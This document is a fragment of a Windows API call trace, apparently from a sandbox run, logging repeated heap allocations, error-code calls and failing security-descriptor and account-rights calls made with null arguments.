	[0048.802] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.802] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.802] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.802] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.803] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.803] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.803] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.803] GetLastError () returned 0x57
	[0048.803] SetLastError (dwErrCode=0x57) 
	[0048.803] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.803] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.803] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.803] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.803] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.803] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.803] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.803] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.803] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.803] GetLastError () returned 0x57
	[0048.803] SetLastError (dwErrCode=0x57) 
	[0048.803] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.803] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.803] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.803] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.803] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.803] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.803] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.803] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.803] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.804] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.804] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.804] GetLastError () returned 0x57
	[0048.804] SetLastError (dwErrCode=0x57) 
	[0048.804] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.804] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.804] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.804] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.804] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.804] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.804] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.804] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.804] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.804] GetLastError () returned 0x57
	[0048.804] SetLastError (dwErrCode=0x57) 
	[0048.804] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.804] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.804] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.804] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.804] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.804] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.804] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.804] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.804] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.804] GetLastError () returned 0x57
	[0048.804] SetLastError (dwErrCode=0x57) 
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.805] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.805] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.805] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.805] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.805] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.805] GetLastError () returned 0x57
	[0048.805] SetLastError (dwErrCode=0x57) 
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.805] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.805] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0xa8) returned 0x2c48260
	[0048.805] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40528 | out: hHeap=0x2c40000) returned 1
	[0048.805] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.805] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.805] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.805] GetLastError () returned 0x57
	[0048.805] SetLastError (dwErrCode=0x57) 
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.805] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.805] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.806] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.806] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.806] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.806] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.806] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.806] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.806] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.806] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.806] GetLastError () returned 0x57
	[0048.806] SetLastError (dwErrCode=0x57) 
	[0048.806] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.806] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.806] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.806] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.806] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.806] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.806] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.806] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.806] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.806] GetLastError () returned 0x57
	[0048.806] SetLastError (dwErrCode=0x57) 
	[0048.806] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.806] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.806] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.806] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.806] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.807] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.807] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.807] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.807] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.807] GetLastError () returned 0x57
	[0048.807] SetLastError (dwErrCode=0x57) 
	[0048.807] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.807] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.807] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.807] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.807] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.807] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.807] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.807] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.807] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.807] GetLastError () returned 0x57
	[0048.807] SetLastError (dwErrCode=0x57) 
	[0048.807] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.807] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.807] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.807] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.807] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.807] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.807] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.807] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.807] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.807] GetLastError () returned 0x57
	[0048.808] SetLastError (dwErrCode=0x57) 
	[0048.808] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.808] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.808] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.808] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.808] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.808] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.808] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.808] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.808] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.808] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.808] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.808] GetLastError () returned 0x57
	[0048.808] SetLastError (dwErrCode=0x57) 
	[0048.808] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.808] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.808] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.808] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.808] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.808] GetLastError () returned 0x57
	[0048.808] SetLastError (dwErrCode=0x57) 
	[0048.808] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.808] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.808] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.809] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.809] GetLastError () returned 0x57
	[0048.809] SetLastError (dwErrCode=0x57) 
	[0048.809] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.809] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.809] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.809] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.809] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.809] GetLastError () returned 0x57
	[0048.809] SetLastError (dwErrCode=0x57) 
	[0048.809] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.809] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.809] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.809] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.809] GetLastError () returned 0x57
	[0048.809] SetLastError (dwErrCode=0x57) 
	[0048.809] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.809] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.809] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.809] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.809] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.809] GetLastError () returned 0x57
	[0048.809] SetLastError (dwErrCode=0x57) 
	[0048.809] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.809] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.810] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.810] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.810] GetLastError () returned 0x57
	[0048.810] SetLastError (dwErrCode=0x57) 
	[0048.810] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.810] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.810] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.810] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.810] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.810] GetLastError () returned 0x57
	[0048.810] SetLastError (dwErrCode=0x57) 
	[0048.810] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.810] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.810] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.810] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.810] GetLastError () returned 0x57
	[0048.810] SetLastError (dwErrCode=0x57) 
	[0048.810] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.810] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.810] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.810] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.810] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.810] GetLastError () returned 0x57
	[0048.810] SetLastError (dwErrCode=0x57) 
	[0048.811] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.811] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.811] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.811] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.811] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.811] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.811] GetLastError () returned 0x57
	[0048.811] SetLastError (dwErrCode=0x57) 
	[0048.811] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.811] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.811] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.811] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.811] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.811] GetLastError () returned 0x57
	[0048.811] SetLastError (dwErrCode=0x57) 
	[0048.811] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.811] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.811] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.811] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.811] GetLastError () returned 0x57
	[0048.811] SetLastError (dwErrCode=0x57) 
	[0048.811] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.811] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.811] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.811] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.812] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.812] GetLastError () returned 0x57
	[0048.812] SetLastError (dwErrCode=0x57) 
	[0048.812] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.812] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.812] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.812] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.812] GetLastError () returned 0x57
	[0048.812] SetLastError (dwErrCode=0x57) 
	[0048.812] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.812] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.812] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.812] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.812] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0xfc) returned 0x2c48310
	[0048.812] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.812] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.812] GetLastError () returned 0x57
	[0048.812] SetLastError (dwErrCode=0x57) 
	[0048.812] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.812] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.812] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.812] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.812] GetLastError () returned 0x57
	[0048.812] SetLastError (dwErrCode=0x57) 
	[0048.813] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.813] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.813] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.813] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
